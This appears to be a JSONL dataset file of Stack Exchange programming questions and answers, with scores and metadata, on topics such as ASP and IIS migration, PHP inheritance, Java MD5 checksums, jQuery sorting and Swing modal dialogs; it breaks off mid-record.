{"id": "hf_554974c138b0", "question": "<p>I've been contacted to see about updating an old legacy web application that was built using ASP and Access. The server is running Windows 2000 Advanced Server and I believe IIS 5.0 (I am trying to get confirmation on that, but the company isn't technical so I highly doubt Apache is running on the server).</p>\n\n<p>What languages would be viable for updating this web app on the above platform? I've never touched classic ASP much less done any web development work against Windows 2000/IIS 5. There are no plans on updating the server to anything new due to budget concerns.</p>\n\n<p>I'm leaning at the moment to moving to an SQLite-based database (customer isn't too keen on installing MySQL at the moment but I'm still in planning stages and this is a relatively low-traffic website) but what language would I pair with that? Does ASP.NET work well under IIS 5? Does PHP perform worth anything under this kind of setup?</p>\n", "question_body": "", "answer": "If the company is concerned with cost, I would be very conservative making changes.  Concentrate on why they want to update- do they want to add new functionality?  What are their mid-to-long term plans for the site?  Are they having trouble maintaining the site?  Going to a custom .NET solution may only complicate things further unless they are willing to make some ongoing investment in development.\nIf it's a relatively simple site, they may want to consider a platform like DotNetNuke.  There are hosts out there that sell ready-to-configure sites that can do quite a lot with a minimum of configuration.  That combined with a profressionally developed DotNetNuke UI template (TemplateMonster.com offers them) may be a good solution.\nIf they do want to go with a custom solution, ASP.NET runs fine on IIS 5.0.  I believe you can run the .NET Framework up to at least 2.0, not sure about 3.0 or 3.5.  Language won't make a difference to functionality, so C# or VB.NET are fine, all things being equal.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:00.603386"}
{"id": "hf_c59ce7c17bc7", "question": "<pre><code>&lt;?php\nclass foo\n{\n    //this class is always etended, and has some other methods that do utility work\n    //and are never overrided\n    public function init()\n    {\n        //what do to here to call bar-&gt;doSomething or baz-&gt;doSomething \n        //depending on what class is actually instantiated? \n    }\n\n    function doSomething()\n    {\n        //intentionaly no functionality here\n    }\n\n\n}\n\nclass bar extends foo\n{\n    function doSomething()\n    {\n        echo \"bar\";\n    }\n}\n\nclass baz extends foo\n{\n    function doSomething()\n    {\n        echo \"baz\";\n    }\n}\n?&gt;\n</code></pre>\n", "question_body": "", "answer": "```\n```\npublic function init() {\n    $this->doSomething();\n}\n\n$obj = new bar();\n$obj->doSomething(); // prints \"bar\"\n\n$obj2 = new baz();\n$obj->doSomething(); // prints \"baz\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:00.628577"}
{"id": "hf_3b9248958948", "question": "<p>I assume 100 bytes is too small and can slow down larger file transfers with all of the writes, but something like 1MB seems like it may be too much.  Does anyone have any suggestions for an optimal chunk of bytes per write for sending data over a network?</p>\n\n<p>To elaborate a bit more, I'm implementing something that sends data over a network connection and show the progress of that data being sent.  I've noticed if I send large files at about 100 bytes each write, it is extremely slow but the progress bar works out very nicely. However, if I send at say 1M per write, it is much faster, but the progress bar doesn't work as nicely due to the larger chunks being sent.</p>\n", "question_body": "", "answer": "If you can, just let the IP stack handle it; most OSes have a lot of optimization already built in. Vista, for example, will dynamically alter various parameters to maximize throughput; second-guessing the algorithm is unlikely to be beneficial.\nThis is especially true in higher-order languages, far from the actual wire, like C#; there are enough layers between you and actual TCP/IP packets that I would expect your code to have relatively little impact on throughput.\nAt worst, test various message sizes in various situations for yourself; few solutions are one-size-fits-all.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:00.653417"}
{"id": "hf_91e70af27294", "question": "<p>The Python <a href=\"http://www.python.org/doc/2.5.2/lib/datetime-datetime.html\" rel=\"noreferrer\"><code>datetime.isocalendar()</code></a> method returns a tuple <code>(ISO_year, ISO_week_number, ISO_weekday)</code> for the given <code>datetime</code> object.  Is there a corresponding inverse function?  If not, is there an easy way to compute a date given a year, week number and day of the week?</p>\n", "question_body": "", "answer": "EDIT: ignore this, the edge cases are a pain. Go with Ben's solution.\nOk, on closer inspection I noticed that\n```\nstrptime\n```\nhas\n```\n%W\n```\nand\n```\n%w\n```\nparameters, so the following works:\n```\n```\ndef fromisocalendar(y,w,d):\n   return datetime.strptime( \"%04dW%02d-%d\"%(y,w-1,d), \"%YW%W-%w\")\n```\n```\nA couple of gotchas: The ISO week number starts at\n```\n1\n```\n, while\n```\n%W\n```\nstarts at\n```\n0\n```\n.  The ISO week day starts at\n```\n1\n```\n(Monday), which is the same as\n```\n%w\n```\n, so Sunday would probably have to be\n```\n0\n```\n, not\n```\n7\n```\n...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:00.678182"}
{"id": "hf_22852f721717", "question": "<p>I am given a responsibility in my project to develop a Equipment tracking tool with following requirements</p>\n\n<ol>\n<li>New Equipment can be added by admin to a particular user</li>\n<li>Once equipment is assigned to a person he will a request to accept the request so he will be responsible</li>\n<li>User can transfer his equipment to other users.</li>\n<li>At the same time Admin should be sent a mail or message whenever there is a change in status.</li>\n<li>It should be deployed locally on a PC( So it is not actually a web app) that is connected to network which can be accessed by everyone</li>\n</ol>\n\n<p>I thought I can use Django for this( I am new to it ), but I do not know much about deployment on a local PC , How can I do this, or is there any better Idea for this?</p>\n", "question_body": "", "answer": "It still sounds like you want a web app, you just won't be deploying it on a traditional web server.  One thing to note, client versions of Windows (XP, Vista) will limit you to 10 incoming connections per computer.\nYou'll want to follow these\ninstructions on how to install Django\n.  If you haven't installed python yet, I'll recommend that you\ninstall version 2.5\n, since that will include sqlite, an embedded database that makes it\nvery easy\nto get started developing with Django.  Django includes its own development web server, which you will come across naturally as you\ngo through the tutorial\n.\nStart by installing and then jump right into the tutorial.  Your deployment options will be much easier to understand once you're comfortable with developing in Django.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:00.703420"}
{"id": "hf_f942d5df8ecd", "question": "<p>I am looking to use Java to get the MD5 checksum of a file.  I was really surprised but I haven't been able to find anything that shows how to get the MD5 checksum of a file.</p>\n\n<p>How is it done?</p>\n", "question_body": "", "answer": "There's an example at\nReal's Java-How-to\nusing the\nMessageDigest\nclass.\nCheck that page for examples using CRC32 and SHA-1 as well.\n```\n```\nimport java.io.*;\nimport java.security.MessageDigest;\n\npublic class MD5Checksum {\n\n   public static byte[] createChecksum(String filename) throws Exception {\n       InputStream fis =  new FileInputStream(filename);\n\n       byte[] buffer = new byte[1024];\n       MessageDigest complete = MessageDigest.getInstance(\"MD5\");\n       int numRead;\n\n       do {\n           numRead = fis.read(buffer);\n           if (numRead > 0) {\n               complete.update(buffer, 0, numRead);\n           }\n       } while (numRead != -1);\n\n       fis.close();\n       return complete.digest();\n   }\n\n   // see this How-to for a faster way to convert\n   // a byte array to a HEX string\n   public static String getMD5Checksum(String filename) throws Exception {\n       byte[] b = createChecksum(filename);\n       String result = \"\";\n\n       for (int i=0; i < b.length; i++) {\n           result += Integer.toString( ( b[i] & 0xff ) + 0x100, 16).substring( 1 );\n       }\n       return result;\n   }\n\n   public static void main(String args[]) {\n       try {\n           System.out.println(getMD5Checksum(\"apache-tomcat-5.5.17.exe\"));\n           // output :\n           //  0bb2827c5eacf570b6064e24e0e6653b\n           // ref :\n           //  http://www.apache.org/dist/\n           //          tomcat/tomcat-5/v5.5.17/bin\n           //              /apache-tomcat-5.5.17.exe.MD5\n           //  0bb2827c5eacf570b6064e24e0e6653b *apache-tomcat-5.5.17.exe\n       }\n       catch (Exception e) {\n           e.printStackTrace();\n       }\n   }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:00.732190"}
{"id": "hf_ef3a0ad8a103", "question": "<p>Ok, I have one JavaScript that creates rows in a table like this:</p>\n<pre><code>  function AddRow(text,rowID) {\n    var tbl = document.getElementById('tblNotePanel');\n    var row = tbl.insertRow(tbl.rows.length);\n\n    var cell = row.insertCell();\n    var textNode = document.createTextNode(text);\n    cell.id = rowID;\n    cell.style.backgroundColor = &quot;gold&quot;;\n\n    cell.onclick = clickTest;\n    \n    cell.appendChild(textNode);\n  }\n</code></pre>\n<p>In the above function, I set the cell's <code>onclick</code> function to call another JavaScript function called <code>clickTest</code>.  My question is when I assign the <code>onclick</code> event to call <code>clickTest</code>, how do I set parameter information to be sent when the <code>clickTest</code> method is called on the cell's <code>onclick</code> event?  Or, how do I access the cell's ID in the <code>clickTest</code> function?</p>\n<p>Thanks,\nJeff</p>\n", "question_body": "", "answer": "In the clickTest function you should have access to a the\n```\nthis\n```\nvariable.  Try this inside of\n```\nclickTest\n```\nfunction:\n```\n```\nalert(this.id);\n```\n```\nThis will refer to the DOM element that fired the event.\nBasically, there isn't really a way to pass parameters to an event handler function.  The reason for that is that the browser is executing the function based on an event and you are not actually calling the function.\nYou can use closures which allow you to access local variables (to the closure) when you assign the event handler function.  That would look like this:\n```\n```\ncell.onclick = function() { alert(this.id); alert(cell.id); };\n```\n```\nWere\n```\ncell.id\n```\nis the locally scoped variable that is still considered in scope when the event handler is executed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:00.757969"}
{"id": "hf_d5b8a8a1851e", "question": "<p>What is a security sandbox violation, and how do I override it? I'm making a project in FlashDevelop, and today, it will not load external files, even though it had been previously. It gives the following output:</p>\n\n<blockquote>\n  <p>************* Security Sandbox Violation *********   Connection to\n  file:///C|/Documents%20and%20Settings/Kevin.PC885314341208/Desktop/Import%20.txt/StockData/1.txt\n  halted - not permitted from\n  file:///C|/Documents%20and%20Settings/Kevin.PC885314341208/Desktop/Import%20.txt/import.swf</p>\n</blockquote>\n\n<p>I hope this isn't a serious problem.</p>\n\n<p>Thanks for any help.</p>\n", "question_body": "", "answer": "You're loading a local file, something that's not permitted. However, as you're developing this you can of course allow this.\nAdd your project folder to the trusted locations:\nhttp://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager04.html\nEdit: I might add that if you run it with networking disabled it will work (this is for development purposes). This happens for example when you run it from the Flash IDE, which would explain why it may have worked before?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:00.783444"}
{"id": "hf_a42f4e7f1c30", "question": "<p>I`ve read that columns that are chosen for indices should discriminate well among the rows, i.e. index columns should not contain a large number of rows with the same value. This would suggest that booleans or an enum such as gender would be a bad choice for an index. </p>\n\n<p>But say I want to find users by gender and in my particular database, only 2% of the users are female, then in that case it seems like the gender column would be a useful index when getting the female users, but not when getting all the male users.</p>\n\n<p>So would it generally be a good idea to put an index on such a column?</p>\n", "question_body": "", "answer": "This is a case where I would let the server statistics inform me of when to create the index.  Unless you know that this query is going to predominate or that running such a query would not meet your performance goals a priori, then creating the index prematurely may just cost you performance rather than increase it.  Also, you may want to think about how you would actually use the query.  In this case, my guess would be that you'd typically be doing some sort of aggregation based on this column rather than simply selecting the users who meet the criteria.  In that event, you'll be doing the table scan anyway and the index won't buy you anything.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:00.852629"}
{"id": "hf_fc942cb0c71e", "question": "<p>Does MySQL index foreign key columns automatically?</p>\n", "question_body": "", "answer": "Yes, see\nInnoDB and FOREIGN KEY Constraints\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:00.878418"}
{"id": "hf_33ddfec0bfee", "question": "<p>Is there a way I can export my Silverlight DataGrid data to excel or csv?</p>\n\n<p>I searched the web but can't find any examples!</p>\n\n<p>Thanks a lot  </p>\n", "question_body": "", "answer": "I don't think Silverlight offers a way to download files.  You can add a button to your app that calls a URL- i.e.\nhttp://www.mysite.com/generateexcelfile.aspx\n.  Include as Querystring values the parameters used to generate the data being displayed in your Silverlight app, run your query and use your favorite Excel file generation component to generate the file on the fly.  Redirect to it and it will download to the users' system.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:00.928321"}
{"id": "hf_7bc4e2edb7ce", "question": "<p>What is the best way to integrate an external script into the Zend Framework? Let me explain because I may be asking this the wrong way. I have a script that downloads and parses an XML file. This script, which runs as a daily cron job, needs to dump its data into the database.</p>\n\n<p>I am using Zend Framework for the site which uses this script and it seems to me that it would be best to use my subclassed model of <code>Zend_Db_Abstract</code> to do the adding and updating of the database. How does one go about doing this? Does my script go in the library next to the Zend Components (i.e. library/Mine/Xmlparse.php) and thus have access to the various ZF components? Do I simply need to include the correct model files and the Zend DB component in the file itself? What is the best way to handle this sort of integration?</p>\n", "question_body": "", "answer": "I just came across something that may be germane to this question.\nThis IBM developerWorks article.\nThe author recommends simply creating a scripts folder in the ZF hierarchy and the using it as one normally would within ZF (though he does set the ini path and call autoload). Is it that simple? Does simply being in the hierarchy of the framework and including the path and autoloader grant your script access to all of the goodies?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:00.957282"}
{"id": "hf_cd895ee4005e", "question": "<p>Was wandering if anyone uses ASP .NET membership? If you do, tell me what you think about it.</p>\n\n<p>If you don't use it, Are you planning to use it on future projects? If not, why?</p>\n\n<p>RWendi</p>\n", "question_body": "", "answer": "Yes. Have used it quite a lot, and it will save you a lot of work.\nThere are some pain points like changing usernames, and administrative reset of passwords, that clients will often ask for, and you will have to hack your way around them.\nThe role provider is also pretty handy, and there are a lot of prebuilt controls that work with it, although recently hit a bug between role manager and aspnet ajax that has been a PITA.\nThe model is generally very good, even if you have shop around for some different providers that suit your needs.\nOverall, it's not perfect, but if you can live with it and work around it's issues, it will save you heaps of code.\nFor some situations, it is maybe using a chainsaw when a butter knife would do, but it's there, it works, and there are plenty of other people using it.\nIts one kind of hammer, for the price, is ok, but there is no golden hammer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:00.981745"}
{"id": "hf_e0dc18b700c7", "question": "<p>I'm looking to get some help on using the <a href=\"http://malsup.com/jquery/cycle/\" rel=\"nofollow noreferrer\">cycle</a> library for jQuery. I'm in the <a href=\"http://malsup.com/jquery/cycle/begin.html\" rel=\"nofollow noreferrer\">beginner</a> demos, and I got the absolute first one completed. This is the second one on the page.</p>\n\n<pre><code>&lt;script src=\"jquery-1.2.6.min.js\" type=\"text/javascript\"&gt;&lt;/script&gt;\n&lt;script src=\"jquery.cycle.all.min.js\" type=\"text/javascript\"&gt;&lt;/script&gt;\n&lt;script type=\"text/javascript\"&gt;\n    $(document).ready(function() {\n\n    $('.pics').cycle({\n        fx:      'scrollDown',\n        speed:    300,\n        timeout:  2000\n    });\n&lt;/script&gt;\n</code></pre>\n\n<p>My CSS is identical to the one on the page, that's why I put .pics in the quotes.</p>\n", "question_body": "", "answer": "I will take a guess that this is just not working for you.\nYou need to balance your braces and parentheses.\nPlease\nhelp others to help you by saying what the actual problem is next time.\nTry this:\n```\n```\n$(document).ready(function() { \n    $('.pics').cycle({  \n        fx: 'scrollDown',     \n        speed: 300,     \n        timeout: 2000 \n    });\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:01.054207"}
{"id": "hf_cee6ff6e3210", "question": "<p>How long do you normally test an update for Zend Framework before pushing it out into a productions project.  We can break this question up into minor updates 1.6.0 -> 1.6.1 or maybe a major update 1.6.2 -> 1.7.0.  Obviously you don't release it if it add bugs to your code.</p>\n\n<p>Also, as with most other server software updates normally people have a window of time they like to wait and watch the community before even attempting an update on a development environment.  How long do you even wait to start the process?</p>\n", "question_body": "", "answer": "It seems like the best method would be to have a comprehensive set of tests that exercised all the functionality in your application.  With a good method for testing it seems like you could push it into production pretty quickly.\nAnother simple thing you can do to help you make your decision would be to simply do a diff against the repository to see what changes where applied to any modules that you use.  If there where no changes, then upgrading shouldn't make any difference.  If something underwent a major re-write, you would probably want to investigate a lot deeper.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:01.078490"}
{"id": "hf_11ffb7814077", "question": "<p>How do I compare two images &amp; recognize the pattern in an image irrespective of its size and pattern size, and using .Net C#?  Also, which algorithms are used for doing so from Image Processing?</p>\n", "question_body": "", "answer": "See\nScale-invariant feature transform\n,\ntemplate matching\n, and\nHough transform\n. A quick and inaccurate guess may be to make a histogram of color and compare it. If the image is complicated enough, you might be able to distinguish between several sets of images.\nTo make the matter simple, assume we have three buckets for R, G, and B. A completely white image would have (100%, 100%, 100%) for (R, G, B). A completely red image would have (100%, 0%, 0%). A complicated image might have something like (23%, 53%, 34%). If you take the distance between the points in that (R, G, B) space, you can compare which one is \"closer\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:01.129190"}
{"id": "hf_e76451e62954", "question": "<p>In VB.NET, which is better to use: function overloading or default parameters?</p>\n", "question_body": "", "answer": "if the parameters are optional (i.e. the overloads are a subset of the parameters that the full procedure signature accepts) then default or optional parameters would make more sense.\nIf the overload is allowing a different type for the parameter or is a semantically different parameter that will be interpreted differently by the routine then overloads would make more sense.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:01.167952"}
{"id": "hf_1cca3eea577a", "question": "<p>Say I have a string of 16 numeric characters (i.e. 0123456789012345) what is the most efficient way to delimit it into sets like : 0123-4567-8901-2345, in PHP?</p>\n\n<p>Note: I am rewriting an existing system that is painfully slow.</p>\n", "question_body": "", "answer": "Use\nstr_split()\n:\n```\n```\n$string = '0123456789012345';\n$sets = str_split($string, 4);\nprint_r($sets);\n```\n```\nThe output:\n```\n```\nArray\n(\n    [0] => 0123\n    [1] => 4567\n    [2] => 8901\n    [3] => 2345\n)\n```\n```\nThen of course to insert hyphens between the sets you just\nimplode()\nthem together:\n```\n```\necho implode('-', $sets); // echoes '0123-4567-8901-2345'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:01.192999"}
{"id": "hf_4956797013d7", "question": "<p>One of the <a href=\"http://www.sqlite.org/whentouse.html\" rel=\"noreferrer\">appropriate uses</a> for <a href=\"http://www.sqlite.org\" rel=\"noreferrer\">sqlite3</a> is \"in-memory databases\".  This sounds like a really useful tool for my C++ applications.  Does anyone have an example of how this is done in C or C++?  I'm specifically looking for a canonical way to slurp several flat-files into an in-memory database, then do some joins.</p>\n", "question_body": "", "answer": "Just open the file :memory: and that should do it (at least it does in PHP).\nYou mention that you want to read in several flat files and do joins on them. If it's possible to store the flat files as SQLite databases, you can work directly with both by attaching one to the other:\n```\n```\nATTACH foo.db AS foo\n```\n```\nThen refer to the tables in foo like so:\n```\n```\nSELECT * FROM foo.users\n```\n```\nThis way you can do your joins without the need for creating an in-memory database.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:01.218072"}
{"id": "hf_90069a74f455", "question": "<p>I'm looking for some sample code that will sort the list items in an HTML list by alphabetical order.  Can anyone help?</p>\n\n<p>Here is a sample list for people to work with:</p>\n\n<pre><code>&lt;ul class=\"alphaList\"&gt;\n    &lt;li&gt;apples&lt;/li&gt;\n    &lt;li&gt;cats&lt;/li&gt;\n    &lt;li&gt;bears&lt;/li&gt;\n&lt;/ul&gt;\n</code></pre>\n", "question_body": "", "answer": "```\n```\nvar items = $('.alphaList > li').get();\nitems.sort(function(a,b){\n  var keyA = $(a).text();\n  var keyB = $(b).text();\n\n  if (keyA < keyB) return -1;\n  if (keyA > keyB) return 1;\n  return 0;\n});\nvar ul = $('.alphaList');\n$.each(items, function(i, li){\n  ul.append(li); /* This removes li from the old spot and moves it */\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:01.244018"}
{"id": "hf_6ef155957504", "question": "<p>I need to do a join with a table/result-set/whatever that has the integers <code>n</code> to <code>m</code> inclusive. Is there a trivial way to get that without just building the table?</p>\n\n<p>(BTW what would that type of construct be called, a \"<em>Meta query</em>\"?)</p>\n\n<p><code>m-n</code> is bounded to something reasonable ( &lt; 1000's)</p>\n", "question_body": "", "answer": "There is no sequence number generator (\nCREATE SEQUENCE\n) in MySQL. Closest thing is\n```\nAUTO_INCREMENT\n```\n, which can help you construct the table.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:01.346587"}
{"id": "hf_de66a13f9307", "question": "<p>I am writing a text editor which has an option to display a bullet in place of any invisible Unicode character.  Unfortunately there appears to be no easy way to determine whether a Unicode character is invisible.</p>\n\n<p>I need to find a text file containing every Unicode character in order that I can look through for invisible characters.  Would anyone know where I can find such a file?</p>\n\n<p>EDIT: I am writing this app in Cocoa for Mac OS X.</p>\n", "question_body": "", "answer": "Its an impossible task, Unicode supports even Klingon, so it's not going to work. However most text editors use the standard ANSI invisible characters. And if your Unicode library is good, it will support finding equivalent characters and/or categories, you can use these two features to do it as well as any editor out there\nEdit:\nYes I was being silly about Klingon support, but that doesn't make it not true... of course Klingon is not supported by the Consortium, however there is a movement for Klingon in the Unicode's \"Private Use Area\" defined for Klingon alphabet (U+F8D0 - U+F8FF).\nLink here\nfor those interested :)\nNote:\nWonder what editor Klingon programmers use...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:01.382989"}
{"id": "hf_d497730eaa50", "question": "<p>How do I check if a field (textbox) is empty or filled only with white spaces (spaces/enters/tabs etc.), using javascript RegExp?</p>\n", "question_body": "", "answer": "```\n```\nif (myField.value.match(/\\S/)) {\n  // field is not empty\n}\n// or\nif (/\\S/.test(myField.value)) {\n  // field is not empty\n}\n```\n```\nExplanation, since other people seem to have some\ncrazy\ndifferent ideas:\n```\n\\s\n```\nwill match a space, tab or new line.\n```\n\\S\n```\nwill match anything but a space, tab or new line.\nIf your string has a single character which is not a space, tab or new line, then it's not empty.\nTherefore you just need to search for one character:\n```\n\\S\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:01.442413"}
{"id": "hf_680cd6c36129", "question": "<p>I have this piece of code in my PHP code:</p>\n\n<pre><code>while ($row = mysqli_fetch_assoc($result))\n{\n    extract($row);\n    echo \"&lt;tr&gt;\";\n    echo \"&lt;td bgcolor='#FFFFFF'&gt;&lt;input id='bookArray[]' name='bookArray[]' type='checkbox' value='$book_id' /&gt;$book_id&lt;/td&gt;\";\n    echo \"&lt;td bgcolor='#FFFFFF'&gt;$threat_name&lt;/td&gt;\";\n    echo \"&lt;/tr&gt;\";\n}\n</code></pre>\n\n<p>In HTML page, I want to use jQuery serialize() method to sent array of selected books in bookArray[]. In my JavaScript,</p>\n\n<pre><code>var selectedbooks = $(\"book_form\").serialize();\nalert (selectedbooks); \n</code></pre>\n\n<p>In the alert message box, i did not get any value (empty string).</p>\n\n<p>Previously when i am using Prototype, it worked nicely.</p>\n", "question_body": "", "answer": "You may need to change your PHP as @Tomalak suggests, but you will also need to change your javascript.  To reference a named element use the #name selector:\n```\n```\nvar selectedbooks = $('form#book_form').serialize();;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:01.501962"}
{"id": "hf_1178c65e9c8d", "question": "<p>i have two servers a main site and a static server. \ni want to get a file's content from ajax in runtime, which is stored in static server.\nobviously cross domain problem will occur.</p>\n\n<p>so what i am trying to do is storing that ajax .js in the static server, so that calling the local file wont be a problem.</p>\n\n<p>but after i include that js file from static, still that problem remains...</p>\n\n<p>Any solutions?!</p>\n", "question_body": "", "answer": "Are you sure the path to\n```\ninfo.xml\n```\nis correct?  That gets me sometimes when I am including a file from a subdirectory.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:01.537167"}
{"id": "hf_c6dead1e5e41", "question": "<p>Ok, I know this is a strange question, but there is a \"standard\" (fan-wise at least) Unicode support for the Klingon alphabet, and since code can be written in Unicode with no problem, that means it is possible to write Kode with Klingon tokens( vars, function names, etc...).</p>\n\n<p>For the record I've written C++ in Japanese and it works, so K++ in Klingon should work too. But I don't know of any text editor with support for Klingon. Any suggestions?</p>\n", "question_body": "", "answer": "Not likely, especially when you consider rule 9 of the\nKLINGON GUIDE To Writing Perfect Code\n“Indentation?! I will show you how to indent when I indent your skull!”\nand number 7 does not bode well for any editor:\n“Klingon function calls do not have ‘parameters.’ They have ‘arguments’ . . . and they ALWAYS WIN THEM!”\n```\n[\n```\nSeriously, this is an interesting\nUnicode editor problem\n```\n]\n```\nAfter all, ITunes has a license agreement in Klingon!\nAnd you need the right keyboard, off course \\o/\nNow... may be you can try to \"Google it\" ;-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:01.608353"}
{"id": "hf_bccfb77730ec", "question": "<p>Simple question:</p>\n\n<p>Can a swing frame be completely modal ( block all others windows ) ?</p>\n\n<p>I tried the following, but I can still click on other apps windows ( like this browser ) </p>\n\n<pre><code>JDialog myDialog  = .... \nmyDialog.setModalityType(Dialog.ModalityType.APPLICATION_MODAL);\n</code></pre>\n\n<p>Plase paste some code if this is possible. </p>\n", "question_body": "", "answer": "I don't know about global modal, but here's an idea.\nTake the screenshot of the desktop.\nGo full screen.\nPop up your dialog.\nSince the desktop is fake screenshot, you can ignore any attempt to click into it.\nFull screen sample\n:\n```\n```\nprivate void toggleFullScreenWindow() {\n  GraphicsEnvironment graphicsEnvironment\n    = GraphicsEnvironment.getLocalGraphicsEnvironment();\n  GraphicsDevice graphicsDevice\n    = graphicsEnvironment.getDefaultScreenDevice();\n  if(graphicsDevice.getFullScreenWindow()==null) {\n    dialog.dispose(); //destroy the native resources\n    dialog.setUndecorated(true);\n    dialog.setVisible(true); //rebuilding the native resources\n    graphicsDevice.setFullScreenWindow(dialog);\n  }else{\n    graphicsDevice.setFullScreenWindow(null);\n    dialog.dispose();\n    dialog.setUndecorated(false);\n    dialog.setVisible(true);\n    dialog.repaint();\n  }\n  